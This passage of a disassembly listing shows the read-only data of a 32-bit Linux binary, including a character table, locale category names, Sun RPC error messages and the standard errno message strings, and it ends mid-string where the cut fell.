db 0 ; db 0 ; db 0 ; db 6Bh ; k db 0 ; db 0 ; db 0 ; db 6Ch ; l db 0 ; db 0 ; db 0 ; db 6Dh ; m db 0 ; db 0 ; db 0 ; db 6Eh ; n db 0 ; db 0 ; db 0 ; db 6Fh ; o db 0 ; db 0 ; db 0 ; db 70h ; p db 0 ; db 0 ; db 0 ; db 71h ; q db 0 ; db 0 ; db 0 ; db 72h ; r db 0 ; db 0 ; db 0 ; db 73h ; s db 0 ; db 0 ; db 0 ; db 74h ; t db 0 ; db 0 ; db 0 ; db 75h ; u db 0 ; db 0 ; db 0 ; db 76h ; v db 0 ; db 0 ; db 0 ; db 77h ; w db 0 ; db 0 ; db 0 ; db 78h ; x db 0 ; db 0 ; db 0 ; db 79h ; y db 0 ; db 0 ; db 0 ; db 7Ah ; z db 0 ; db 0 ; db 0 ; db 7Bh ; { db 0 ; db 0 ; db 0 ; db 7Ch ; | db 0 ; db 0 ; db 0 ; db 7Dh ; } db 0 ; db 0 ; db 0 ; db 7Eh ; ~ db 0 ; db 0 ; db 0 ; db 7Fh ;  db 0 ; db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 81h ; db 0 ; db 0 ; db 0 ; db 82h ; db 0 ; db 0 ; db 0 ; db 83h ; db 0 ; db 0 ; db 0 ; db 84h ; db 0 ; db 0 ; db 0 ; db 85h ; db 0 ; db 0 ; db 0 ; db 86h ; db 0 ; db 0 ; db 0 ; db 87h ; db 0 ; db 0 ; db 0 ; db 88h ; db 0 ; db 0 ; db 0 ; db 89h ; db 0 ; db 0 ; db 0 ; db 8Ah ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0 ; db 0 ; db 0 ; db 8Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 91h ; db 0 ; db 0 ; db 0 ; db 92h ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 94h ; db 0 ; db 0 ; db 0 ; db 95h ; db 0 ; db 0 ; db 0 ; db 96h ; db 0 ; db 0 ; db 0 ; db 97h ; db 0 ; db 0 ; db 0 ; db 98h ; db 0 ; db 0 ; db 0 ; db 99h ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0 ; db 0 ; db 0 ; db 9Bh ; db 0 ; db 0 ; db 0 ; db 9Ch ; db 0 ; db 0 ; db 0 ; db 9Dh ; db 0 ; db 0 ; db 0 ; db 9Eh ; db 0 ; db 0 ; db 0 ; db 9Fh ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 0 ; db 0 ; db 0 ; db 0A1h ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 0 ; db 0 ; db 0 ; db 0A3h ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0 ; db 0 ; db 0 ; db 0A5h ; db 0 ; db 0 ; db 0 ; db 0A6h ; db 0 ; db 0 ; db 0 ; db 0A7h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 0 ; db 0 ; db 0 ; db 0ABh ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0 ; db 0 ; db 0 ; db 0ADh ; db 0 ; db 0 ; db 0 ; db 0AEh ; db 0 ; db 0 ; db 0 ; db 0AFh ; db 0 ; db 0 ; db 0 ; db 0B0h ; db 0 ; db 0 ; db 0 ; db 0B1h ; db 0 ; db 0 ; db 0 ; db 0B2h ; db 0 ; db 0 ; db 0 ; db 0B3h ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 0 ; db 0 ; db 0 ; db 0B5h ; db 0 ; db 0 ; db 0 ; db 0B6h ; db 0 ; db 0 ; db 0 ; db 0B7h ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 0 ; db 0 ; db 0 ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0BBh ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0 ; db 0 ; db 0 ; db 0BDh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0 ; db 0 ; db 0 ; db 0BFh ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 0 ; db 0 ; db 0 ; db 0C2h ; db 0 ; db 0 ; db 0 ; db 0C3h ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 0 ; db 0 ; db 0 ; db 0C5h ; db 0 ; db 0 ; db 0 ; db 0C6h ; db 0 ; db 0 ; db 0 ; db 0C7h ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 0C9h ; db 0 ; db 0 ; db 0 ; db 0CAh ; db 0 ; db 0 ; db 0 ; db 0CBh ; db 0 ; db 0 ; db 0 ; db 0CCh ; db 0 ; db 0 ; db 0 ; db 0CDh ; db 0 ; db 0 ; db 0 ; db 0CEh ; db 0 ; db 0 ; db 0 ; db 0CFh ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0 ; db 0 ; db 0 ; db 0D1h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 0D3h ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D6h ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0D9h ; db 0 ; db 0 ; db 0 ; db 0DAh ; db 0 ; db 0 ; db 0 ; db 0DBh ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0 ; db 0 ; db 0 ; db 0DDh ; db 0 ; db 0 ; db 0 ; db 0DEh ; db 0 ; db 0 ; db 0 ; db 0DFh ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0 ; db 0 ; db 0 ; db 0E2h ; db 0 ; db 0 ; db 0 ; db 0E3h ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 0 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0E6h ; db 0 ; db 0 ; db 0 ; db 0E7h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0 ; db 0 ; db 0 ; db 0EAh ; db 0 ; db 0 ; db 0 ; db 0EBh ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0 ; db 0 ; db 0 ; db 0EEh ; db 0 ; db 0 ; db 0 ; db 0EFh ; db 0 ; db 0 ; db 0 ; db 0F0h ; db 0 ; db 0 ; db 0 ; db 0F1h ; db 0 ; db 0 ; db 0 ; db 0F2h ; db 0 ; db 0 ; db 0 ; db 0F3h ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 0 ; db 0 ; db 0 ; db 0F5h ; db 0 ; db 0 ; db 0 ; db 0F6h ; db 0 ; db 0 ; db 0 ; db 0F7h ; db 0 ; db 0 ; db 0 ; db 0F8h ; db 0 ; db 0 ; db 0 ; db 0F9h ; db 0 ; db 0 ; db 0 ; db 0FAh ; db 0 ; db 0 ; db 0 ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 0 ; db 0 ; db 0 ; db 0FDh ; db 0 ; db 0 ; db 0 ; db 0FEh ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 5 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 9Ah ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 9Dh ; db 6 ; db 8 ; db 0C2h ; db 0A3h ; db 6 ; db 8 ; unk_806A9E4 db 0 ; ; DATA XREF: .rodata:0806AA20o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0A9h ; db 6 ; db 8 ; db 0FEh ; db 0A9h ; db 6 ; db 8 ; db 0FCh ; db 0A9h ; db 6 ; db 8 ; db 7Fh ;  db 0 ; db 0 ; db 2Eh ; . db 0 ; db 0 ; db 0 ; db 0 ; dword_806AA04 dd 8079288h ; DATA XREF: sub_8062CF8+11r ; sub_8062CF8+1Br ... dd offset dword_8078890 dd offset off_8079294 dd offset off_8079284 dd offset off_8079290 dd offset off_807928C dword_806AA1C dd 806A9C4h ; DATA XREF: sub_8062CF8+39r ; sub_8062D4C+395r ... dd offset unk_806A9E4 dd offset unk_806BC54 dd offset unk_806BBBC dd offset unk_806BBC8 dd offset unk_806BC14 dword_806AA34 dd 806AA82h ; DATA XREF: sub_8062940+221r ; sub_8062940+28Ar ... dword_806AA38 dd 806AA77h ; DATA XREF: sub_8062D4C+213r dword_806AA3C dd 806AA6Fh ; DATA XREF: sub_8062D4C+238r dword_806AA40 dd 806AA64h ; DATA XREF: sub_8062D4C+259r dword_806AA44 dd 806AA58h ; DATA XREF: sub_8062D4C+27Ar dword_806AA48 dd 806AA4Ch ; DATA XREF: sub_8062D4C+29Br aLc_messages db 'LC_MESSAGES',0 aLc_monetary db 'LC_MONETARY',0 aLc_collate db 'LC_COLLATE',0 aLc_time db 'LC_TIME',0 aLc_numeric db 'LC_NUMERIC',0 aLc_ctype db 'LC_CTYPE',0 db 90h ; dword_806AA8C dd 8 ; DATA XREF: sub_8062940+71r ; sub_8062940+F5r ... dword_806AA90 dd 0Ah ; DATA XREF: sub_8062D4C+20Br dword_806AA94 dd 7 ; DATA XREF: sub_8062D4C+230r dword_806AA98 dd 0Ah ; DATA XREF: sub_8062D4C+251r dword_806AA9C dd 0Bh ; DATA XREF: sub_8062D4C+272r dword_806AAA0 dd 0Bh ; DATA XREF: sub_8062D4C+293r dword_806AAA4 dd 8066BC4h ; DATA XREF: sub_8062CF8+26r ; sub_8062CF8+30r db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; unk_806AABC db 43h ; C ; DATA XREF: sub_8062940+17Fo ; sub_8062C9C+17o ... db 0 ; unk_806AABE db 43h ; C ; DATA XREF: sub_8062940+157o ; sub_8062D4C+364o ... db 0 ; aPosix db 'POSIX',0 ; DATA XREF: sub_8062940+16Co ; sub_8062D4C+379o ... aLc_all db 'LC_ALL',0 ; DATA XREF: sub_8062D4C+4Bo aLang db 'LANG',0 ; DATA XREF: sub_8062D4C+8Co ; sub_8062D4C+DAo ... aS_2 db '%s: ',0 ; DATA XREF: sub_8063688+36o ; sub_8063958+22o aErrnoS db '; errno = %s',0 ; DATA XREF: sub_8063688+E6o aLowVersionLuHi db '; low version = %lu, high version = %lu',0 ; DATA XREF: sub_8063688+11Co ; sub_8063688+1B8o aWhy db '; why = ',0 ; DATA XREF: sub_8063688+147o aS_3 db '%s',0 ; DATA XREF: sub_8063688+172o ; sub_8063894+11o ... aUnknownAuthent db '(unknown authentication error - %d)',0 ; DATA XREF: sub_8063688+180o aS1LuS2Lu db '; s1 = %lu, s2 = %lu',0 ; DATA XREF: sub_8063688+1DCo asc_806AB51 db 0Ah,0 ; DATA XREF: sub_8063688+1F2o ; sub_8063958+E3o aRpcFailedUnspe db 'RPC: Failed (unspecified error)',0 aRpcProgramNotR db 'RPC: Program not registered',0 aRpcPortMapperF db 'RPC: Port mapper failure',0 aRpcUnknownProt db 'RPC: Unknown protocol',0 aRpcUnknownHost db 'RPC: Unknown host',0 aRpcRemoteSyste db 'RPC: Remote system error',0 aRpcServerCanTD db 'RPC: Server can',27h,'t decode arguments',0 aRpcProcedureUn db 'RPC: Procedure unavailable',0 aRpcProgramVers db 'RPC: Program/version mismatch',0 aRpcProgramUnav db 'RPC: Program unavailable',0 aRpcAuthenticat db 'RPC: Authentication error',0 aRpcIncompatibl db 'RPC: Incompatible versions of RPC',0 aRpcTimedOut db 'RPC: Timed out',0 aRpcUnableToRec db 'RPC: Unable to receive',0 aRpcUnableToSen db 'RPC: Unable to send',0 aRpcCanTDecodeR db 'RPC: Can',27h,'t decode result',0 aRpcCanTEncodeA db 'RPC: Can',27h,'t encode arguments',0 aRpcSuccess db 'RPC: Success',0 aRpcUnknownErro db 'RPC: (unknown error code)',0 ; DATA XREF: sub_80638B8+62o asc_806AD30 db ' - ',0 ; DATA XREF: sub_8063958+55o ; sub_8063958+78o aErrorD db 'Error %d',0 ; DATA XREF: sub_8063958+CAo aFailedUnspecif db 'Failed (unspecified error)',0 aInvalidServerV db 'Invalid server verifier',0 aClientCredenti db 'Client credential too weak',0 aServerReject_0 db 'Server rejected verifier',0 aInvalidClientV db 'Invalid client verifier',0 aServerReject_1 db 'Server rejected credential',0 aInvalidClientC db 'Invalid client credential',0 aAuthentication db 'Authentication OK',0 aOutOfMemory db 'out of memory',0 ; DATA XREF: sub_8063B04+33o aClnttcp_crea_0 db 'clnttcp_create: %s',0Ah,0 ; DATA XREF: sub_8063B04+48o aOutOfMemory_0 db 'out of memory',0 ; DATA XREF: sub_80641C8+46o aClntudp_create db 'clntudp_create: %s',0Ah,0 ; DATA XREF: sub_80641C8+5Co aOutOfMemory_1 db 'out of memory',0 ; DATA XREF: sub_80651B8+6Co ; sub_8065304+81o aXdr_bytesS db 'xdr_bytes: %s',0Ah,0 ; DATA XREF: sub_80651B8+81o aXdr_stringS db 'xdr_string: %s',0Ah,0 ; DATA XREF: sub_8065304+96o aOutOfMemory_2 db 'out of memory',0 ; DATA XREF: sub_8065750+4Bo aXdrrec_createS db 'xdrrec_create: %s',0Ah,0 ; DATA XREF: sub_8065750+60o db 3 dup(0) dword_806AE98 dd 806BBAAh ; DATA XREF: sub_8056E14+2Cr ; sub_80625DC+3Dr ... dd offset aOperationNotPe ; "Operation not permitted" dd offset aNoSuchFileOrDi ; "No such file or directory" dd offset aNoSuchProcess ; "No such process" dd offset aInterruptedSys ; "Interrupted system call" dd offset aIOError ; "I/O error" dd offset aNoSuchDeviceOr ; "No such device or address" dd offset aArgListTooLong ; "Arg list too long" dd offset aExecFormatErro ; "Exec format error" dd offset aBadFileNumber ; "Bad file number" dd offset aNoChildProcess ; "No child processes" dd offset aTryAgain ; "Try again" dd offset aOutOfMemory_4 ; "Out of memory" dd offset aPermissionDeni ; "Permission denied" dd offset aBadAddress ; "Bad address" dd offset aBlockDeviceReq ; "Block device required" dd offset aDeviceOrResour ; "Device or resource busy" dd offset aFileExists ; "File exists" dd offset aCrossDeviceLin ; "Cross-device link" dd offset aNoSuchDevice ; "No such device" dd offset aNotADirectory ; "Not a directory" dd offset aIsADirectory ; "Is a directory" dd offset aInvalidArgumen ; "Invalid argument" dd offset aFileTableOverf ; "File table overflow" dd offset aTooManyOpenFil ; "Too many open files" dd offset aNotATypewriter ; "Not a typewriter" dd offset aTextFileBusy ; "Text file busy" dd offset aFileTooLarge ; "File too large" dd offset aNoSpaceLeftOnD ; "No space left on device" dd offset aIllegalSeek ; "Illegal seek" dd offset aReadOnlyFileSy ; "Read-only file system" dd offset aTooManyLinks ; "Too many links" dd offset aBrokenPipe ; "Broken pipe" dd offset aMathArgumentOu ; "Math argument out of domain of func" dd offset aMathResultNotR ; "Math result not representable" dd offset aResourceDeadlo ; "Resource deadlock would occur" dd offset aFileNameTooLon ; "File name too long" dd offset aNoRecordLocksA ; "No record locks available" dd offset aFunctionNotImp ; "Function not implemented" dd offset aDirectoryNotEm ; "Directory not empty" dd offset aTooManySymboli ; "Too many symbolic links encountered" dd offset aOperationWould ; "Operation would block" dd offset aNoMessageOfDes ; "No message of desired type" dd offset aIdentifierRemo ; "Identifier removed" dd offset aChannelNumberO ; "Channel number out of range" dd offset aLevel2NotSynch ; "Level 2 not synchronized" dd offset aLevel3Halted ; "Level 3 halted" dd offset aLevel3Reset ; "Level 3 reset" dd offset aLinkNumberOutO ; "Link number out of range" dd offset aProtocolDriver ; "Protocol driver not attached" dd offset aNoCsiStructure ; "No CSI structure available" dd offset aLevel2Halted ; "Level 2 halted" dd offset aInvalidExchang ; "Invalid exchange" dd offset aInvalidRequest ; "Invalid request descriptor" dd offset aExchangeFull ; "Exchange full" dd offset aNoAnode ; "No anode" dd offset aInvalidReque_0 ; "Invalid request code" dd offset aInvalidSlot ; "Invalid slot" dd offset aFileLockingDea ; "File locking deadlock error" dd offset aBadFontFileFor ; "Bad font file format" dd offset aDeviceNotAStre ; "Device not a stream" dd offset aNoDataAvailabl ; "No data available" dd offset aTimerExpired ; "Timer expired" dd offset aOutOfStreamsRe ; "Out of streams resources" dd offset aMachineIsNotOn ; "Machine is not on the network" dd offset aPackageNotInst ; "Package not installed" dd offset aObjectIsRemote ; "Object is remote" dd offset aLinkHasBeenSev ; "Link has been severed" dd offset aAdvertiseError ; "Advertise error" dd offset aSrmountError ; "Srmount error" dd offset aCommunicationE ; "Communication error on send" dd offset aProtocolError ; "Protocol error" dd offset aMultihopAttemp ; "Multihop attempted" dd offset aRfsSpecificErr ; "RFS specific error" dd offset aNotADataMessag ; "Not a data message" dd offset aValueTooLargeF ; "Value too large for defined data type" dd offset aNameNotUniqueO ; "Name not unique on network" dd offset aFileDescriptor ; "File descriptor in bad state" dd offset aRemoteAddressC ; "Remote address changed" dd offset aCanNotAccessAN ; "Can not access a needed shared library" dd offset aAccessingACorr ; "Accessing a corrupted shared library" dd offset a_libSectionInA ; ".lib section in a.out corrupted" dd offset aAttemptingToLi ; "Attempting to link in too many shared l"... dd offset aCannotExecASha ; "Cannot exec a shared library directly" dd offset aIllegalByteSeq ; "Illegal byte sequence" dd offset aInterruptedS_0 ; "Interrupted system call should be resta"... dd offset aStreamsPipeErr ; "Streams pipe error" dd offset aTooManyUsers ; "Too many users" dd offset aSocketOperatio ; "Socket operation on non-socket" dd offset aDestinationAdd ; "Destination address required" dd offset aMessageTooLong ; "Message too long" dd offset aProtocolWrongT ; "Protocol wrong type for socket" dd offset aProtocolNotAva ; "Protocol not available" dd offset aProtocolNotSup ; "Protocol not supported" dd offset aSocketTypeNotS ; "Socket type not supported" dd offset aOperationNotSu ; "Operation not supported on transport en"... dd offset aProtocolFamily ; "Protocol family not supported" dd offset aAddressFamilyN ; "Address family not supported by protoco"... dd offset aAddressAlready ; "Address already in use" dd offset aCannotAssignRe ; "Cannot assign requested address" dd offset aNetworkIsDown ; "Network is down" dd offset aNetworkIsUnrea ; "Network is unreachable" dd offset aNetworkDropped ; "Network dropped connection because of r"... dd offset aSoftwareCaused ; "Software caused connection abort" dd offset aConnectionRese ; "Connection reset by peer" dd offset aNoBufferSpaceA ; "No buffer space available" dd offset aTransportEndpo ; "Transport endpoint is already connected"... dd offset aTransportEnd_0 ; "Transport endpoint is not connected" dd offset aCannotSendAfte ; "Cannot send after transport endpoint sh"... dd offset aTooManyReferen ; "Too many references: cannot splice" dd offset aConnectionTime ; "Connection timed out" dd offset aConnectionRefu ; "Connection refused" dd offset aHostIsDown ; "Host is down" dd offset aNoRouteToHost ; "No route to host" dd offset aOperationAlrea ; "Operation already in progress" dd offset aOperationNowIn ; "Operation now in progress" dd offset aStaleNfsFileHa ; "Stale NFS file handle" dd offset aStructureNeeds ; "Structure needs cleaning" dd offset aNotAXenixNamed ; "Not a XENIX named type file" dd offset aNoXenixSemapho ; "No XENIX semaphores available" dd offset aIsANamedTypeFi ; "Is a named type file" dd offset aRemoteIOError ; "Remote I/O error" dd offset aQuotaExceeded ; "Quota exceeded" db 0 ; db 0 ; db 0 ; db 0 ; aQuotaExceeded db 'Quota exceeded',0 ; DATA XREF: .rodata:0806B080o aRemoteIOError db 'Remote I/O error',0 ; DATA XREF: .rodata:0806B07Co aIsANamedTypeFi db 'Is a named type file',0 ; DATA XREF: .rodata:0806B078o aNoXenixSemapho db 'No XENIX semaphores available',0 ; DATA XREF: .rodata:0806B074o aNotAXenixNamed db 'Not a XENIX named type file',0 ; DATA XREF: .rodata:0806B070o aStructureNeeds db 'Structure needs cleaning',0 ; DATA XREF: .rodata:0806B06Co aStaleNfsFileHa db 'Stale NFS file handle',0 ; DATA XREF: .rodata:0806B068o aOperationNowIn db 'Operation now in progress',0 ; DATA XREF: .rodata:0806B064o aOperationAlrea db 'Operation already in progress',0 ; DATA XREF: .rodata:0806B060o aNoRouteToHost db 'No route to host',0 ; DATA XREF: .rodata:0806B05Co aHostIsDown db 'Host is down',0 ; DATA XREF: .rodata:0806B058o aConnectionRefu db 'Connection refused',0 ; DATA XREF: .rodata:0806B054o aConnectionTime db 'Connection timed out',0 ; DATA XREF: .rodata:0806B050o aTooManyReferen db 'Too many references: cannot splice',0 ; DATA XREF: .rodata:0806B04Co aCannotSendAfte db 'Cannot send after transport endpoint shutdown',0 ; DATA XREF: .rodata:0806B048o aTransportEnd_0 db 'Transport endpoint is not connected',0 ; DATA XREF: .rodata:0806B044o aTransportEndpo db 'Transport endpoint is already connected',0 ; DATA XREF: .rodata:0806B040o aNoBufferSpaceA db 'No buffer space available',0 ; DATA XREF: .rodata:0806B03Co aConnectionRese db 'Connection reset by peer',0 ; DATA XREF: .rodata:0806B038o aSoftwareCaused db 'Software caused connection abort',0 ; DATA XREF: .rodata:0806B034o aNetworkDropped db 'Network dropped connection because of reset',0 ; DATA XREF: .rodata:0806B030o aNetworkIsUnrea db 'Network is unreachable',0 ; DATA XREF: .rodata:0806B02Co aNetworkIsDown db 'Network is down',0 ; DATA XREF: .rodata:0806B028o aCannotAssignRe db 'Cannot assign requested address',0 ; DATA XREF: .rodata:0806B024o aAddressAlready db 'Address already in use',0 ; DATA XREF: .rodata:0806B020o aAddressFamilyN db 'Address family not supported by protocol',0 ; DATA XREF: .rodata:0806B01Co aProtocolFamily db 'Protocol family not supported',0 ; DATA XREF: .rodata:0806B018o aOperationNotSu db 'Operation not supported on transport endpoint',0 ; DATA XREF: .rodata:0806B014o aSocketTypeNotS db 'Socket type not supported',0 ; DATA XREF: .rodata:0806B010o aProtocolNotSup db 'Protocol not supported',0 ; DATA XREF: .rodata:0806B00Co aProtocolNotAva db 'Protocol not available',0 ; DATA XREF: .rodata:0806B008o aProtocolWrongT db 'Protocol wrong type for socket',0 ; DATA XREF: .rodata:0806B004o aMessageTooLong db 'Message too long',0 ; DATA XREF: .rodata:0806B000o aDestinationAdd db 'Destination address required',0 ; DATA XREF: .rodata:0806AFFCo aSocketOperatio db 'Socket operation on non-socket',0 ; DATA XREF: .rodata:0806AFF8o aTooManyUsers db 'Too many users',0 ; DATA XREF: .rodata:0806AFF4o aStreamsPipeErr db 'Streams pipe error',0 ; DATA XREF: .rodata:0806AFF0o aInterruptedS_0 db 'Interrupted system call should be restarted',0 ; DATA XREF: .rodata:0806AFECo aIllegalByteSeq db 'Illegal byte sequence',0 ; DATA XREF: .rodata:0806AFE8o aCannotExecASha db 'Cannot exec a shared library directly',0 ; DATA XREF: .rodata:0806AFE4o aAttemptingToLi db 'Attempting to link in too many shared libraries',0 ; DATA XREF: .rodata:0806AFE0o a_libSectionInA db '.lib section in a.out corrupted',0 ; DATA XREF: .rodata:0806AFDCo aAccessingACorr db 'Accessing a corrupted shared library',0 ; DATA XREF: .rodata:0806AFD8o aCanNotAccessAN db 'Can not access a needed shared library',0 ; DATA XREF: .rodata:0806AFD4o aRemoteAddressC db 'Remote address changed',0 ; DATA XREF: .rodata:0806AFD0o aFileDescriptor db 'File descriptor in bad state',0 ; DATA XREF: .rodata:0806AFCCo aNameNotUniqueO db 'Name not unique on network',0 ; DATA XREF: .rodata:0806AFC8o aValueTooLargeF db 'Value too large for defined data type',0 ; DATA XREF: .rodata:0806AFC4o aNotADataMessag db 'Not a data message',0 ; DATA XREF: .rodata:0806AFC0o aRfsSpecificErr db 'RFS specific error',0 ; DATA XREF: .rodata:0806AFBCo aMultihopAttemp db 'Multihop attempted',0 ; DATA XREF: .rodata:0806AFB8o aProtocolError db 'Protocol error',0 ; DATA XREF: .rodata:0806AFB4o aCommunicationE db 'Communication error on send',0 ; DATA XREF: .rodata:0806AFB0o aSrmountError db 'Srmount error',0 ; DATA XREF: .rodata:0806AFACo aAdvertiseError db 'Advertise error',0 ; DATA XREF: .rodata:0806AFA8o aLinkHasBeenSev db 'Link has been severed',0 ; DATA XREF: .rodata:0806AFA4o aObjectIsRemote db 'Object is remote',0 ; DATA XREF: .rodata:0806AFA0o aPackageNotInst db 'Package not installed',0 ; DATA XREF: .rodata:0806AF9Co aMachineIsNotOn db 'Machine is not on the network',0 ; DATA XREF: .rodata:0806AF98o aOutOfStreamsRe db 'Out of streams resources',0 ; DATA XREF: .rodata:0806AF94o aTimerExpired db 'Timer expired',0 ; DATA XREF: .rodata:0806AF90o aNoDataAvailabl db 'No data available',0 ; DATA XREF: .rodata:0806AF8Co aDeviceNotAStre db 'Device not a stream',0 ; DATA XREF: .rodata:0806AF88o aBadFontFileFor db 'Bad font file format',0 ; DATA XREF: .rodata:0806AF84o aFileLockingDea db 'File locking deadlock error',0 ; DATA XREF: .rodata:0806AF80o aInvalidSlot db 'Invalid slot',0 ; DATA XREF: .rodata:0806AF7Co aInvalidReque_0 db 'Invalid request code',0 ; DATA XREF: .rodata:0806AF78o aNoAnode db 'No anode',0 ; DATA XREF: .rodata:0806AF74o aExchangeFull db 'Exchange full',0 ; DATA XREF: .rodata:0806AF70o aInvalidRequest db 'Invalid request descriptor',0 ; DATA XREF: .rodata:0806AF6Co aInvalidExchang db 'Invalid exchange',0 ; DATA XREF: .rodata:0806AF68o aLevel2Halted db 'Level 2 halted',0 ; DATA XREF: .rodata:0806AF64o aNoCsiStructure db 'No CSI structure available',0 ; DATA XREF: .rodata:0806AF60o aProtocolDriver db 'Protocol driver not attached',0 ; DATA XREF: .rodata:0806AF5Co aLinkNumberOutO db 'Link number out of range',0 ; DATA XREF: .rodata:0806AF58o aLevel3Reset db 'Level 3 reset',0 ; DATA XREF: .rodata:0806AF54o aLevel3Halted db 'Level 3 halted',0 ; DATA XREF: .rodata:0806AF50o aLevel2NotSynch db 'Level 2 not synchronized',0 ; DATA XREF: .rodata:0806AF4Co aChannelNumberO db 'Channel number out of range',0 ; DATA XREF: .rodata:0806AF48o aIdentifierRemo db 'Identifier removed',0 ; DATA XREF: .rodata:0806AF44o aNoMessageOfDes db 'No message of desired type',0 ; DATA XREF: .rodata:0806AF40o aOperationWould db 'Operation would block',0 ; DATA XREF: .rodata:0806AF3Co aTooManySymboli db 'Too many symbolic links encountered',0 ; DATA XREF: .rodata:0806AF38o aDirectoryNotEm db 'Directory not empty',0 ; DATA XREF: .rodata:0806AF34o aFunctionNotImp db 'Function not implemented',0 ; DATA XREF: .rodata:0806AF30o aNoRecordLocksA db 'No record locks available',0 ; DATA XREF: .rodata:0806AF2Co aFileNameTooLon db 'File name too long',0 ; DATA XREF: .rodata:0806AF28o aResourceDeadlo db 'Resource deadlock would occur',0 ; DATA XREF: .rodata:0806AF24o aMathResultNotR db 'Math result not representable',0 ; DATA XREF: .rodata:0806AF20o aMathArgumentOu db 'Math argument out of domain of func',0 ; DATA XREF: .rodata:0806AF1Co aBrokenPipe db 'Broken pipe',0 ; DATA XREF: .rodata:0806AF18o aTooManyLinks db 'Too many links',0 ; DATA XREF: .rodata:0806AF14o aReadOnlyFileSy db 'Read-only file system',0 ; DATA XREF: .rodata:0806AF10o aIllegalSeek db 'Illegal seek',0 ; DATA XREF: .rodata:0806AF0Co aNoSpaceLeftOnD db 'No space left on device',0 ; DATA XREF: .rodata:0806AF08o aFileTooLarge db 'File too large',0 ; DATA XREF: .rodata:0806AF04o aTextFileBusy db 'Text file busy',0 ; DATA XREF: .rodata:0806AF00o aNotATypewriter db 'Not a typewriter',0 ; DATA XREF: .rodata:0806AEFCo aTooManyOpenFil db 'Too many open files',0 ; DATA XREF: .rodata:0806AEF8o aFileTableOverf db 'File table overflow',0 ; DATA XREF: .rodata:0806AEF4o aInvalidArgumen db 'Invalid argument',0 ; DATA XREF: .rodata:0806AEF0o aIsADirectory db 'Is a directory',0 ; DATA XREF: .rodata:0806AEECo aNotADirectory db 'Not a directory',0 ; DATA XREF: .rodata:0806AEE8o aNoSuchDevice db 'No such device',0 ; DATA XREF: .rodata:0806AEE4o aCrossDeviceLin db 'Cross-device link',0 ; DATA XREF: .rodata:0806AEE0o aFileExists db 'File exists',0 ; DATA XREF: .rodata:0806AEDCo aDeviceOrResour db 'Device or resource busy',0 ; DATA XREF: .rodata:0806AED8o aBlockDeviceReq db 'Block device required',0 ; DATA XREF: .rodata:0806AED4o aBadAddress db 'Bad address',0 ; DATA XREF: .rodata:0806AED0o aPermissionDeni db 'Permission denied',0 ; DATA XREF: .rodata:0806AECCo aOutOfMemory_4 db 'Out of memory',0 ; DATA XREF: .rodata:0806AEC8o aTryAgain db 'Try again',0 ; DATA XREF: .rodata:0806AEC4o aNoChildProcess db 'No child processes',0 ; DATA XREF: .rodata:0806AEC0o aBadFileNumber db 'Bad file number',0 ; DATA XREF: .rodata:0806AEBCo aExecFormatErro db 'Exec format error',0 ; DATA XREF: .rodata:0806AEB8o aArgListTooLong db 'Arg list too long',0 ; DATA XREF: .rodata:0806AEB4o aNoSuchDeviceOr db 'No such device or address',0 ; DATA XREF: .rodata:0806AEB0o aIOError db 'I/O error',0 ; DATA XREF: .rodata:0806AEACo aInterruptedSys db 'Interrupted system call',0 ; DATA XREF: .rodata:0806AEA8o aNoSuchProcess db 'No such 